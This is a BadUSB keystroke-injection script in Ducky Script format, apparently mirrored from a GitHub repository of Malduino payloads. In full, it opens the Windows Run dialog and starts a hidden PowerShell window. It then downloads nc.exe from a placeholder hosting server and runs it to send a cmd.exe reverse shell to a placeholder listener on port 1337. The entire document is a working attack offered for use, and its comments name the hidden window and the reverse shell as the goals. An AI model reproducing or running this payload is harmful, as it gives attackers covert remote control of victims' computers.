mirror of
https://github.com/Clortox/MalduinoScripts.git
synced 2025-01-09 01:38:00 +00:00
25 lines
655 B
Plaintext
25 lines
655 B
Plaintext
REM begin a nc reverse shell, must be ready to catch shell at all times
|
|
DELAY 1000
|
|
GUI r
|
|
DELAY 100
|
|
STRING powershell
|
|
ENTER
|
|
DELAY 11000
|
|
REM obfuscate the command prompt
|
|
STRING powershell.exe -windowstyle hidden
|
|
ENTER
|
|
DELAY 500
|
|
REM begin downloading nc.exe
|
|
STRING $c = new-object System.Net.WebClient
|
|
ENTER
|
|
DELAY 100
|
|
STRING $c.DownloadFile("http://YOURHOSTINGBOX/nc.exe",".\Downloads\nc.exe")
|
|
ENTER
|
|
DELAY 220
|
|
REM done with that
|
|
REM execute nc.exe with a reverse shell pointed at myself
|
|
REM reverse shell must be listening first
|
|
STRING ./Downloads/nc.exe -e C:\Windows\System32\cmd.exe YOURLISTENINGBOX 1337
|
|
ENTER
|
|
REM thats all folks
|